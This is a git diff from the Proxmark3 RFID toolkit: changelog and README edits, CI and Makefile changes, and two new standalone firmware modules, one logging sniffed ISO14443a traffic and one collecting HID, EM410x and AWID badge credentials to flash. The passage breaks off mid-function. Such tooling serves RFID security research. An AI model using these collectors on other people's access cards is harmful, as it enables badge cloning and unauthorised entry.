@ -215,7 +258,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
- Fix `lf t55xx recoverpwd` - now works after aquiredata adaptations (@iceman1001) - Fix `lf t55xx recoverpwd` - now works after aquiredata adaptations (@iceman1001)
- Fix `data detect p` - reverted bad clock detection (@iceman1001) - Fix `data detect p` - reverted bad clock detection (@iceman1001)
- Change `data detect a` - better clock detection (@iceman1001) - Change `data detect a` - better clock detection (@iceman1001)
- Add `hf 14a info` - now detects some magic card Gen2 (@iceman1001) - Added `hf 14a info` - now detects some magic card Gen2 (@iceman1001)
- Removed `LCD` code in armsrc compilation (@iceman1001) - Removed `LCD` code in armsrc compilation (@iceman1001)
- Change - Generic fixes of codestyle (@doegox) (@iceman1001) - Change - Generic fixes of codestyle (@doegox) (@iceman1001)
- Change `lf indala demod` - refactoring (@iceman1001) - Change `lf indala demod` - refactoring (@iceman1001)
@ -225,7 +268,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
- Fix `data rawdemod am` - last bit was missing (@doegox) - Fix `data rawdemod am` - last bit was missing (@doegox)
- Fix `hf 15 dump f` - also selects tag first (@iceman1001) - Fix `hf 15 dump f` - also selects tag first (@iceman1001)
- Fix `hf iclass clone` - missing fileclose (@iceman1001) - Fix `hf iclass clone` - missing fileclose (@iceman1001)
- Add `trace list hitag` - old hitag annotations now use the new trace (@iceman1001) - Added `trace list hitag` - old hitag annotations now use the new trace (@iceman1001)
- Change `lf hitag sim` - loads bin/eml/json (@iceman1001) - Change `lf hitag sim` - loads bin/eml/json (@iceman1001)
- Change `lf hitag reader 21` - saves in bin/eml/json (@iceman1001) - Change `lf hitag reader 21` - saves in bin/eml/json (@iceman1001)
- Change `lf hitag` - refactoring (@iceman1001) - Change `lf hitag` - refactoring (@iceman1001)
@ -244,12 +287,12 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
- Fix `mem write` - added extra check (@doegox) - Fix `mem write` - added extra check (@doegox)
- Fix `iso15693` - bad string cpy (@doegox) - Fix `iso15693` - bad string cpy (@doegox)
- Fix `make style` - EOF LF support (@doegox) - Fix `make style` - EOF LF support (@doegox)
- Add `hf 14b raw` - added -t for timeout (@iceman1001) - Added `hf 14b raw` - added -t for timeout (@iceman1001)
- Rename `lf hitag snoop` - renamed to `lf hitag sniff` (@iceman1001) - Rename `lf hitag snoop` - renamed to `lf hitag sniff` (@iceman1001)
- Rename `lf snoop` - renamed to `lf sniff` (@iceman1001) - Rename `lf snoop` - renamed to `lf sniff` (@iceman1001)
- Rename `hf snoop` - renamed to `hf sniff` (@iceman1001) - Rename `hf snoop` - renamed to `hf sniff` (@iceman1001)
- Fix `hf mfp wrbl` - more blocks available (@merlokk) - Fix `hf mfp wrbl` - more blocks available (@merlokk)
- Add `make platform` - compile for non-rdv4 devices made simpler (@doegox) - Added `make platform` - compile for non-rdv4 devices made simpler (@doegox)
- Change Makefiles optimizations when recompiling (@doegox) - Change Makefiles optimizations when recompiling (@doegox)
- Fix `data load` - loads TITEST.txt again (@iceman1001) - Fix `data load` - loads TITEST.txt again (@iceman1001)
- Change `lf search` - now detects TI (@iceman1001) - Change `lf search` - now detects TI (@iceman1001)
@ -257,25 +300,25 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
- Fix `lf paradox demod` - wrong check (@iceman1001) - Fix `lf paradox demod` - wrong check (@iceman1001)
- Change `lf t55xx` - aquiredata uses getsamples (@iceman1001) - Change `lf t55xx` - aquiredata uses getsamples (@iceman1001)
- Fix `lf search` - chipset detection restore demod buffer again (@iceman1001) - Fix `lf search` - chipset detection restore demod buffer again (@iceman1001)
- Add `make style` (@doegox) - Added `make style` (@doegox)
- Fix mixed tabs vs spaces. Now only use 4 space as tab. (@doegox) - Fix mixed tabs vs spaces. Now only use 4 space as tab. (@doegox)
- Fix `lf visa2000 read` - too few samples (@iceman1001) - Fix `lf visa2000 read` - too few samples (@iceman1001)
- Fix `lf t55xx bruteforce` - infinity loop (@doegox) - Fix `lf t55xx bruteforce` - infinity loop (@doegox)
- Fix `analyse nuid` - correct crc (@doegox) - Fix `analyse nuid` - correct crc (@doegox)
- Add command history not repeating logged commands (@doegox) - Added command history not repeating logged commands (@doegox)
- Fix path for aidjson (@doegox) - Fix path for aidjson (@doegox)
- Fix missing init i2x (@doegox) - Fix missing init i2x (@doegox)
- Fix `14b select card` - (@doegox) - Fix `14b select card` - (@doegox)
- Add `hf mf ndef` - parsing of NDEF messages (@merlokk) - Added `hf mf ndef` - parsing of NDEF messages (@merlokk)
- Add `hf mf mad` - parsing of Mifare Application Directory (@merlokk) - Added `hf mf mad` - parsing of Mifare Application Directory (@merlokk)
- Rename `lf snoop` -> `lf sniff` (@iceman1001) - Rename `lf snoop` -> `lf sniff` (@iceman1001)
- Rename `hf snoop` -> `hf sniff` (@iceman1001) - Rename `hf snoop` -> `hf sniff` (@iceman1001)
- Change generally added more colors (@iceman1001) - Change generally added more colors (@iceman1001)
- Change `sc upgrade` updated firmware v3.11 (RDV40) (@sentiprox) - Change `sc upgrade` updated firmware v3.11 (RDV40) (@sentiprox)
- Change `data autocorrelate` - better visual representation and added extra peak detection (@iceman1001) - Change `data autocorrelate` - better visual representation and added extra peak detection (@iceman1001)
- Fix `lf search` - false positive indala identification fixed (@iceman1001) - Fix `lf search` - false positive indala identification fixed (@iceman1001)
- Add `lf keri` - basic support for Keri tags (@iceman1001) - Added `lf keri` - basic support for Keri tags (@iceman1001)
- Add `hf mf list` - re-added it again (@iceman1001) - Added `hf mf list` - re-added it again (@iceman1001)
- Fix - A lot of bugfixes, like memory leaks (@iceman1001) - Fix - A lot of bugfixes, like memory leaks (@iceman1001)
- Change `hf 14a antifuzz` - original implementation (@asfabw), reworked a bit - Change `hf 14a antifuzz` - original implementation (@asfabw), reworked a bit
- Fix `hf mf fchk` (@iceman1001) - Fix `hf mf fchk` (@iceman1001)
@ -283,9 +326,9 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
- Change `lf pcf7931` - improved read code (@sguerrini97) - Change `lf pcf7931` - improved read code (@sguerrini97)
- Change `hf felica list` - started with some FeliCa annotations (@iceman1001) - Change `hf felica list` - started with some FeliCa annotations (@iceman1001)
- Fix `hf tune` - now works as expected (@iceman1001) - Fix `hf tune` - now works as expected (@iceman1001)
- Add `option to use flash memory to upload dictionary files` (RDV40) (@iceman1001) - Added `option to use flash memory to upload dictionary files` (RDV40) (@iceman1001)
- Fix `printing percentage now standard compliant` (@fabled) - Fix `printing percentage now standard compliant` (@fabled)
- Add `emv roca` - command to test for ROCA vuln in public RSA modulus (@merlokk / @iceman1001) - Added `emv roca` - command to test for ROCA vuln in public RSA modulus (@merlokk / @iceman1001)
- Added TCP ports support (on linux) (@phcoder) - Added TCP ports support (on linux) (@phcoder)
- Added HF sniff standalone mode with optional storing of ULC/NTAG/ULEV1 authentication attempts (@bogiton) - Added HF sniff standalone mode with optional storing of ULC/NTAG/ULEV1 authentication attempts (@bogiton)
- Fix `Lining up plot and control window` (@anticat) - Fix `Lining up plot and control window` (@anticat)
@ -303,7 +346,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
- Fix `stand-alone Colin` - remake to benefit from flashmem for persistence. (@cjbrigato) - Fix `stand-alone Colin` - remake to benefit from flashmem for persistence. (@cjbrigato)
- Fix `LEGIC SIM` - remake of legic sim (@drandreas) - Fix `LEGIC SIM` - remake of legic sim (@drandreas)
- Changed `proxmark3 client threading` - remake from official repo (@micolous) - Changed `proxmark3 client threading` - remake from official repo (@micolous)
- Add `rem` - new command that adds a line to the log file (@didierStevens) - Added `rem` - new command that adds a line to the log file (@didierStevens)
- Fix `EM410xdemod empty tag id in lfops.c` (@Defensor7) - Fix `EM410xdemod empty tag id in lfops.c` (@Defensor7)
- Fix `usb device descriptor` - some android phones will enumerate better when iSerialnumber is not a multiple of 8 (@micolous, @megabug) - Fix `usb device descriptor` - some android phones will enumerate better when iSerialnumber is not a multiple of 8 (@micolous, @megabug)
- Fix `StandaloneMode LF` - when collecting signal, justNoise detection is needed (@didierStevens, @Megabug) - Fix `StandaloneMode LF` - when collecting signal, justNoise detection is needed (@didierStevens, @Megabug)
@ -372,6 +415,8 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
- Added `hf fido` `assert` and `make` commands from fido2 protocol (authenticatorMakeCredential and authenticatorGetAssertion) (@merlokk) - Added `hf fido` `assert` and `make` commands from fido2 protocol (authenticatorMakeCredential and authenticatorGetAssertion) (@merlokk)
- Added trailer block decoding to `hf mf rdbl` and `hf mf cgetbl` (@merlokk) - Added trailer block decoding to `hf mf rdbl` and `hf mf cgetbl` (@merlokk)
- Added `hf mf mad` and `hf mfp mad` MAD decode, check and print commands (@merlokk) - Added `hf mf mad` and `hf mfp mad` MAD decode, check and print commands (@merlokk)
- Added `script run luxeodump` (@0xdrrb)
- Fix `lf hitag reader 02` - print all bytes (@bosb)
### Fixed ### Fixed
@ -613,9 +658,9 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
- Implemented better detection of mifare-tags that are not vulnerable to classic attacks (`hf mf mifare`, `hf mf nested`) (@pwpiwi) - Implemented better detection of mifare-tags that are not vulnerable to classic attacks (`hf mf mifare`, `hf mf nested`) (@pwpiwi)
### Added ### Added
- Add `hf 14b reader` to find and print general info about known 14b tags (@marshmellow42) - Added `hf 14b reader` to find and print general info about known 14b tags (@marshmellow42)
- Add `hf 14b info` to find and print info about std 14b tags and sri tags (using 14b raw commands in the client) (@marshmellow42) - Added `hf 14b info` to find and print info about std 14b tags and sri tags (using 14b raw commands in the client) (@marshmellow42)
- Add PACE replay functionality (@frederikmoellers) - Added PACE replay functionality (@frederikmoellers)
### Fixed ### Fixed
- t55xx write timing (@marshmellow42) - t55xx write timing (@marshmellow42)

View file

@ -8,6 +8,9 @@ endif
ifeq ($(DEFSBEENHERE),) ifeq ($(DEFSBEENHERE),)
-include ../../Makefile.defs -include ../../Makefile.defs
endif endif
ifeq ($(DEFSBEENHERE),)
-include ../../../Makefile.defs
endif
ifeq ($(DEFSBEENHERE),) ifeq ($(DEFSBEENHERE),)
$(error Can't find Makefile.defs) $(error Can't find Makefile.defs)
endif endif

View file

@ -1,14 +1,11 @@
# RRG / Iceman repo - Proxmark3 # RRG / Iceman repo - Proxmark3
This repo is based on iceman fork for Proxmark3.
It supports RDV4.0 and other Proxmark3 platforms as well.
| Releases | Linux & OSX CI | Windows CI | Coverity | | Releases | Linux & OSX CI | Windows CI | Coverity |
| ------------------- |:-------------------:| -------------------:| -------------------:| | ------------------- |:-------------------:| -------------------:| -------------------:|
| [![Latest release](https://img.shields.io/github/release/RfidResearchGroup/proxmark3.svg)](https://github.com/RfidResearchGroup/proxmark3/releases/latest) | [![Build status](https://travis-ci.org/RfidResearchGroup/proxmark3.svg?branch=master)](https://travis-ci.org/RfidResearchGroup/proxmark3) | [![Build status](https://ci.appveyor.com/api/projects/status/b4gwrhq3nc876cuu/branch/master?svg=true)](https://ci.appveyor.com/project/RfidResearchGroup/proxmark3/branch/master) | [![Coverity Status](https://scan.coverity.com/projects/19334/badge.svg)](https://scan.coverity.com/projects/proxmark3-rrg-iceman-repo)| | [![Latest release](https://img.shields.io/github/release/RfidResearchGroup/proxmark3.svg)](https://github.com/RfidResearchGroup/proxmark3/releases/latest) | [![Build status](https://travis-ci.org/RfidResearchGroup/proxmark3.svg?branch=master)](https://travis-ci.org/RfidResearchGroup/proxmark3) | [![Build status](https://ci.appveyor.com/api/projects/status/b4gwrhq3nc876cuu/branch/master?svg=true)](https://ci.appveyor.com/project/RfidResearchGroup/proxmark3/branch/master) | [![Coverity Status](https://scan.coverity.com/projects/19334/badge.svg)](https://scan.coverity.com/projects/proxmark3-rrg-iceman-repo)|
---
# PROXMARK INSTALLATION AND OVERVIEW # PROXMARK INSTALLATION AND OVERVIEW
@ -24,15 +21,17 @@ It supports RDV4.0 and other Proxmark3 platforms as well.
|[Notes on external flash](/doc/ext_flash_notes.md)||[EMV](/doc/emv_notes.md)| |[Notes on external flash](/doc/ext_flash_notes.md)||[EMV](/doc/emv_notes.md)|
|[Notes on Termux / Android](/doc/termux_notes.md)||[Troubleshooting](/doc/md/Installation_Instructions/Troubleshooting.md)| |[Notes on Termux / Android](/doc/termux_notes.md)||[Troubleshooting](/doc/md/Installation_Instructions/Troubleshooting.md)|
|[Notes on wireshark / tracedata](/doc/trace_wireshark_notes.md)||[JTAG](/doc/jtag_notes.md)| |[Notes on wireshark / tracedata](/doc/trace_wireshark_notes.md)||[JTAG](/doc/jtag_notes.md)|
|[Notes on loclass](/doc/loclass_notes.md)||| |[Notes on loclass](/doc/loclass_notes.md)||[Complete client command set](/doc/commands.md)|
|[Notes on paths](/doc/path_notes.md)||| |[Notes on paths](/doc/path_notes.md)|||
|[Developing standalone mode](/armsrc/Standalone/readme.md)|[Wiki about standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode) || |[Developing standalone mode](/armsrc/Standalone/readme.md)|[Wiki about standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode) ||
|[Donations](#Donations)||| |[Donations](#Donations)|||
## Support on other Proxmark3 platforms
## Build for non-RDV4 Proxmark3 platforms
In order to build this repo for other Proxmark3 platforms we urge you to read [Advanced compilation parameters](/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md) In order to build this repo for other Proxmark3 platforms we urge you to read [Advanced compilation parameters](/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md)
## What has changed? ## What has changed?
On the hardware side: On the hardware side:
@ -62,17 +61,17 @@ The [public roadmap](https://github.com/RfidResearchGroup/proxmark3/wiki/Public-
We usually merge your contributions fast since we do like the idea of getting a functionality in the Proxmark3 and weed out the bugs afterwards. We usually merge your contributions fast since we do like the idea of getting a functionality in the Proxmark3 and weed out the bugs afterwards.
## Notes / helpful documents ## Notes / helpful documents
- Internal notes on [Coverity Scan Config & Run](/doc/md/Development/Coverity-Scan-Config-%26-Run.md). - notes on [Coverity Scan Config & Run](/doc/md/Development/Coverity-Scan-Config-%26-Run.md).
- Internal notes on [UART](/doc/uart_notes.md) - notes on [UART](/doc/uart_notes.md)
- Internal notes on [Frame format](/doc/new_frame_format.md) - notes on [Frame format](/doc/new_frame_format.md)
- Internal notes on [external flash](/doc/ext_flash_notes.md) - notes on [external flash](/doc/ext_flash_notes.md)
- Internal notes on [standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode) - notes on [standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode)
- Internal notes on [Termux / Android](/doc/termux_notes.md) - notes on [Termux / Android](/doc/termux_notes.md)
- Internal notes on [Wireshark / tracedata](/doc/trace_wireshark_notes.md) - notes on [Wireshark / tracedata](/doc/trace_wireshark_notes.md)
- Internal notes on [loclass](/doc/loclass_notes.md) - notes on [loclass](/doc/loclass_notes.md)
- Internal notes on [EMV](/doc/emv_notes.md) - notes on [EMV](/doc/emv_notes.md)
- Internal notes on [Paths](/doc/path_notes.md) - notes on [Paths](/doc/path_notes.md)
- notes on [file formats used with Proxmark3](/doc/extensions_notes.md)
## Cheat sheet ## Cheat sheet
Thanks to Alex Dibs, you can enjoy a [command cheat sheet](/doc/cheatsheet.md) Thanks to Alex Dibs, you can enjoy a [command cheat sheet](/doc/cheatsheet.md)
@ -110,4 +109,3 @@ Nothing says thank you as much as a donation. So if you feel the love, do feel f
https://www.patreon.com/iceman1001 https://www.patreon.com/iceman1001
All support is welcome!

View file

@ -43,6 +43,12 @@ clone_script:
Write-Host "[ OK ]" -ForegroundColor Green Write-Host "[ OK ]" -ForegroundColor Green
if(!(Test-Path -Path C:\ProxSpace\pm3)){
New-Item -ItemType Directory -Force -Path C:\ProxSpace\pm3
}
Write-Host "Removing pm3 dir..." -NoNewLine Write-Host "Removing pm3 dir..." -NoNewLine
Remove-Item -Recurse -Force -Path c:\ProxSpace\pm3\* Remove-Item -Recurse -Force -Path c:\ProxSpace\pm3\*
@ -138,6 +144,10 @@ clone_script:
Remove-Job -Force $Job Remove-Job -Force $Job
} }
cd C:\ProxSpace\
C:\ProxSpace\msys2\ps\setup.cmd
ExecUpdate "update1" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2" ExecUpdate "update1" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2"
ExecUpdate "update2" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2" ExecUpdate "update2" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2"
@ -173,6 +183,7 @@ build_script:
$env:MSYSTEM_CHOST="i686-w64-mingw32" $env:MSYSTEM_CHOST="i686-w64-mingw32"
cd C:\ProxSpace\pm3
#make #make

View file

@ -115,9 +115,11 @@ uint16_t BigBuf_max_traceLen(void) {
void clear_trace(void) { void clear_trace(void) {
traceLen = 0; traceLen = 0;
} }
void set_tracelen(uint32_t value) { void set_tracelen(uint32_t value) {
traceLen = value; traceLen = value;
} }
void set_tracing(bool enable) { void set_tracing(bool enable) {
tracing = enable; tracing = enable;
} }

View file

@ -23,7 +23,7 @@ APP_CFLAGS = $(PLATFORM_DEFS) \
-DON_DEVICE \ -DON_DEVICE \
-fno-strict-aliasing -ffunction-sections -fdata-sections -fno-strict-aliasing -ffunction-sections -fdata-sections
SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c lfadc.c
SRC_ISO15693 = iso15693.c iso15693tools.c SRC_ISO15693 = iso15693.c iso15693tools.c
SRC_ISO14443a = iso14443a.c mifareutil.c mifarecmd.c epa.c mifaresim.c SRC_ISO14443a = iso14443a.c mifareutil.c mifarecmd.c epa.c mifaresim.c
#UNUSED: mifaresniff.c desfire_crypto.c #UNUSED: mifaresniff.c desfire_crypto.c

View file

@ -35,13 +35,18 @@ define KNOWN_STANDALONE_DEFINITIONS
| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth | | HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth |
| (RDV4 only) | storing in flashmem - Bogito | | (RDV4 only) | storing in flashmem - Bogito |
+----------------------------------------------------------+ +----------------------------------------------------------+
| HF_14ASNIFF | 14a sniff to flashmem |
| (RDV4 only) | |
+----------------------------------------------------------+
| LF_ICEHID | LF HID collector to flashmem |
| (RDV4 only) | |
+----------------------------------------------------------+
endef endef
STANDALONE_MODES := LF_SAMYRUN LF_ICERUN LF_PROXBRUTE LF_HIDBRUTE STANDALONE_MODES := LF_SAMYRUN LF_ICERUN LF_PROXBRUTE LF_HIDBRUTE LF_ICEHID
STANDALONE_MODES += HF_YOUNG HF_MATTYRUN HF_COLIN HF_BOG STANDALONE_MODES += HF_YOUNG HF_MATTYRUN HF_COLIN HF_BOG HF_14ASNIFF
STANDALONE_MODES_REQ_SMARTCARD := STANDALONE_MODES_REQ_SMARTCARD :=
STANDALONE_MODES_REQ_FLASH := HF_COLIN HF_BOG STANDALONE_MODES_REQ_FLASH := HF_COLIN HF_BOG HF_14ASNIFF LF_ICEHID
ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES)),) ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES)),)
STANDALONE_PLATFORM_DEFS += -DWITH_STANDALONE_$(STANDALONE) STANDALONE_PLATFORM_DEFS += -DWITH_STANDALONE_$(STANDALONE)
ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES_REQ_SMARTCARD)),) ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES_REQ_SMARTCARD)),)

View file

@ -33,4 +33,11 @@ endif
ifneq (,$(findstring WITH_STANDALONE_HF_BOG,$(APP_CFLAGS))) ifneq (,$(findstring WITH_STANDALONE_HF_BOG,$(APP_CFLAGS)))
SRC_STANDALONE = hf_bog.c SRC_STANDALONE = hf_bog.c
endif endif
# WITH_STANDALONE_HF_14ASNIFF
ifneq (,$(findstring WITH_STANDALONE_HF_14ASNIFF,$(APP_CFLAGS)))
SRC_STANDALONE = hf_14asniff.c
endif
# WITH_STANDALONE_LF_ICEHID
ifneq (,$(findstring WITH_STANDALONE_LF_ICEHID,$(APP_CFLAGS)))
SRC_STANDALONE = lf_icehid.c
endif

View file

@ -0,0 +1,124 @@
//-----------------------------------------------------------------------------
// Copyright 2020 Michael Farrell <micolous+git@gmail.com>
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// main code for standalone HF/iso14a Sniff to flash
//-----------------------------------------------------------------------------
/*
* `hf_14asniff` passively sniffs ISO14a frames, and stores them in internal
* flash. It requires RDV4 hardware (for flash and battery).
*
* This module is similar to hf_bog (which only logs ULC/NTAG/ULEV1 auth).
*
* On entering stand-alone mode, this module will start sniffing ISO14a frames.
* This will be stored in the normal trace buffer (ie: in RAM -- will be lost
* at power-off).
*
* Short-pressing the button again will stop sniffing, and at _this_ point
* append trace data from RAM to a file in flash (hf_14asniff.trc) and unmount.
*
* Once the data is saved, standalone mode will exit.
*
* LEDs:
* - LED1: sniffing
* - LED2: sniffed tag command, turns off when finished sniffing reader command
* - LED3: sniffed reader command, turns off when finished sniffing tag command
* - LED4: unmounting/sync'ing flash (normally < 100ms)
*
* To retrieve trace data from flash:
*
* 1. mem spiffs dump o hf_14asniff.trc f trace.trc
* Copies trace data file from flash to your PC.
*
* 2. trace load trace.trc
* Loads trace data from a file into PC-side buffers.
*
* 3. For ISO14a: trace list 14a 1
* For MIFARE Classic: trace list mf 1
*
* Lists trace data from buffer without requesting it from PM3.
*
* This module emits debug strings during normal operation -- so try it out in
* the lab connected to PM3 client before taking it into the field.
*
* To delete the trace data from flash:
*
* Caveats / notes:
* - Trace buffer will be cleared on starting stand-alone mode. Data in flash
* will remain unless explicitly deleted.
* - This module will terminate if the trace buffer is full (and save data to
* flash).
* - Like normal sniffing mode, timestamps overflow after 5 min 16 sec.
* However, the trace buffer is sequential, so will be in the correct order.
*/
#include "standalone.h" // standalone definitions
#include "proxmark3_arm.h"
#include "iso14443a.h"
#include "util.h"
#include "spiffs.h"
#include "appmain.h"
#include "dbprint.h"
#include "ticks.h"
#include "BigBuf.h"
#define HF_14ASNIFF_LOGFILE "hf_14asniff.trc"
void DownloadTraceInstructions() {
Dbprintf("");
Dbprintf("To get the trace from flash and display it:");
Dbprintf("1. mem spiffs dump o "HF_14ASNIFF_LOGFILE" f trace.trc");
Dbprintf("2. trace load trace.trc");
Dbprintf("3. trace list 14a 1");
}
void ModInfo(void) {
DbpString("hf_14asniff: standalone 'hf 14a sniff', storing in flashmem");
DownloadTraceInstructions();
}
void RunMod() {
StandAloneMode();
Dbprintf("Starting standalone mode: hf_14asniff");
rdv40_spiffs_lazy_mount();
SniffIso14443a(0);
Dbprintf("Stopped sniffing");
SpinDelay(200);
// Write stuff to spiffs logfile
uint32_t trace_len = BigBuf_get_traceLen();
if (trace_len > 0) {
Dbprintf("[!] Trace length (bytes) = %u", trace_len);
uint8_t* trace_buffer = BigBuf_get_addr();
if (!exists_in_spiffs(HF_14ASNIFF_LOGFILE)) {
rdv40_spiffs_write(
HF_14ASNIFF_LOGFILE, trace_buffer, trace_len, RDV40_SPIFFS_SAFETY_SAFE);
Dbprintf("[!] Wrote trace to "HF_14ASNIFF_LOGFILE);
} else {
rdv40_spiffs_append(
HF_14ASNIFF_LOGFILE, trace_buffer, trace_len, RDV40_SPIFFS_SAFETY_SAFE);
Dbprintf("[!] Appended trace to "HF_14ASNIFF_LOGFILE);
}
} else {
Dbprintf("[!] Trace buffer is empty, nothing to write!");
}
LED_D_ON();
rdv40_spiffs_lazy_unmount();
LED_D_OFF();
SpinErr(LED_A, 200, 5);
SpinDelay(100);
LEDsoff();
SpinDelay(300);
DownloadTraceInstructions();
}

View file

@ -1059,7 +1059,7 @@ int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *data
}; };
} }
if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || if ((mifare_sendcmd_short(NULL, CRYPT_NONE, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) ||
(receivedAnswer[0] != 0x0a)) { (receivedAnswer[0] != 0x0a)) {
DbprintfEx(FLAG_NEWLINE, "write block send command error"); DbprintfEx(FLAG_NEWLINE, "write block send command error");
break; break;

View file

@ -136,7 +136,7 @@ static int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_
}; };
} }
if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { if ((mifare_sendcmd_short(NULL, CRYPT_NONE, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) {
DbprintfEx(FLAG_NEWLINE, "write block send command error"); DbprintfEx(FLAG_NEWLINE, "write block send command error");
break; break;
}; };

View file

@ -0,0 +1,389 @@
//-----------------------------------------------------------------------------
// Christian Herrmann, 2020
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// main code for HID collector aka IceHID by Iceman
//-----------------------------------------------------------------------------
#include "standalone.h" // standalone definitions
#include "proxmark3_arm.h"
#include "appmain.h"
#include "lfops.h"
#include "lfsampling.h"
#include "BigBuf.h"
#include "fpgaloader.h"
#include "util.h"
#include "dbprint.h"
#include "printf.h"
#include "spiffs.h"
#include "ticks.h"
#include "lfdemod.h"
/*
* `lf_hidcollect` sniffs after LF HID credentials, and stores them in internal
* flash. It requires RDV4 hardware (for flash and battery).
*
* On entering stand-alone mode, this module will start reading/record HID credentials.
* Every found / collected credential will be written/appended to the logfile in flash
* as a text string.
*
* LEDs:
* - LED A: reading / record
* - LED B: writing to flash
* - LED C: unmounting/sync'ing flash (normally < 100ms)
*
* To retrieve log file from flash:
*
* 1. mem spiffs dump o lf_hidcollect.log f lf_hidcollect.log
* Copies log file from flash to your PC.
*
* 2. exit the Proxmark3 client
*
* 3. more lf_hidcollect.log
*
* This module emits debug strings during normal operation -- so try it out in
* the lab connected to PM3 client before taking it into the field.
*
* To delete the log file from flash:
*
* 1. mem spiffs remove lf_hidcollect.log
*/
#define LF_HIDCOLLECT_LOGFILE "lf_hidcollect.log"
void DownloadLogInstructions() {
Dbprintf("");
Dbprintf("[=] To get the logfile from flash and display it:");
Dbprintf("[=] " _YELLOW_("1.") "mem spiffs dump o "LF_HIDCOLLECT_LOGFILE" f "LF_HIDCOLLECT_LOGFILE);
Dbprintf("[=] " _YELLOW_("2.") "exit proxmark3 client");
Dbprintf("[=] " _YELLOW_("3.") "cat "LF_HIDCOLLECT_LOGFILE);
}
bool log_exists;
void append(uint8_t* entry, size_t entry_len) {
LED_B_ON();
if (log_exists == false) {
rdv40_spiffs_write(LF_HIDCOLLECT_LOGFILE, entry, entry_len, RDV40_SPIFFS_SAFETY_SAFE);
log_exists = true;
} else {
rdv40_spiffs_append(LF_HIDCOLLECT_LOGFILE, entry, entry_len, RDV40_SPIFFS_SAFETY_SAFE);
}
LED_B_OFF();
}
uint32_t IceEM410xdemod() {
uint8_t *dest = BigBuf_get_addr();
size_t idx = 0;
int clk = 0, invert = 0, maxErr = 20;
uint32_t hi = 0;
uint64_t lo = 0;
size_t size = MIN(16385, BigBuf_max_traceLen());
//askdemod and manchester decode
int errCnt = askdemod(dest, &size, &clk, &invert, maxErr, 0, 1);
WDT_HIT();
if (errCnt > 50) {
BigBuf_free();
return PM3_ESOFT;
}
errCnt = Em410xDecode(dest, &size, &idx, &hi, &lo);
if (errCnt != 1) {
BigBuf_free();
return PM3_ESOFT;
}
uint8_t entry[81];
memset(entry, 0, sizeof(entry));
if (size == 128) {
sprintf((char *)entry, "EM XL TAG ID: %06lx%08lx%08lx - (%05ld_%03ld_%08ld)\n",
hi,
(uint32_t)(lo >> 32),
(uint32_t)lo,
(uint32_t)(lo & 0xFFFF),
(uint32_t)((lo >> 16LL) & 0xFF),
(uint32_t)(lo & 0xFFFFFF));
} else {
sprintf((char *)entry, "EM TAG ID: %02lx%08lx - (%05ld_%03ld_%08ld)\n",
(uint32_t)(lo >> 32),
(uint32_t)lo,
(uint32_t)(lo & 0xFFFF),
(uint32_t)((lo >> 16LL) & 0xFF),
(uint32_t)(lo & 0xFFFFFF));
}
append(entry, strlen((char*)entry));
Dbprintf("%s", entry);
BigBuf_free();
return PM3_SUCCESS;
}
uint32_t IceAWIDdemod() {
uint8_t *dest = BigBuf_get_addr();
size_t size = MIN(12800, BigBuf_max_traceLen());
int dummyIdx = 0;
//askdemod and manchester decode
int idx = detectAWID(dest, &size, &dummyIdx);
if (idx <= 0 || size != 96) {
BigBuf_free();
return PM3_ESOFT;
}
//get raw ID before removing parities
uint32_t rawLo = bytebits_to_byte(dest + idx + 64, 32);
uint32_t rawHi = bytebits_to_byte(dest + idx + 32, 32);
uint32_t rawHi2 = bytebits_to_byte(dest + idx, 32);
size = removeParity(dest, idx + 8, 4, 1, 88);
if (size != 66) {
BigBuf_free();
return PM3_ESOFT;
}
uint8_t entry[110];
memset(entry, 0, sizeof(entry));
uint8_t fmtLen = bytebits_to_byte(dest, 8);
if (fmtLen == 26) {
uint8_t fac = bytebits_to_byte(dest + 9, 8);
uint32_t cardnum = bytebits_to_byte(dest + 17, 16);
uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen);
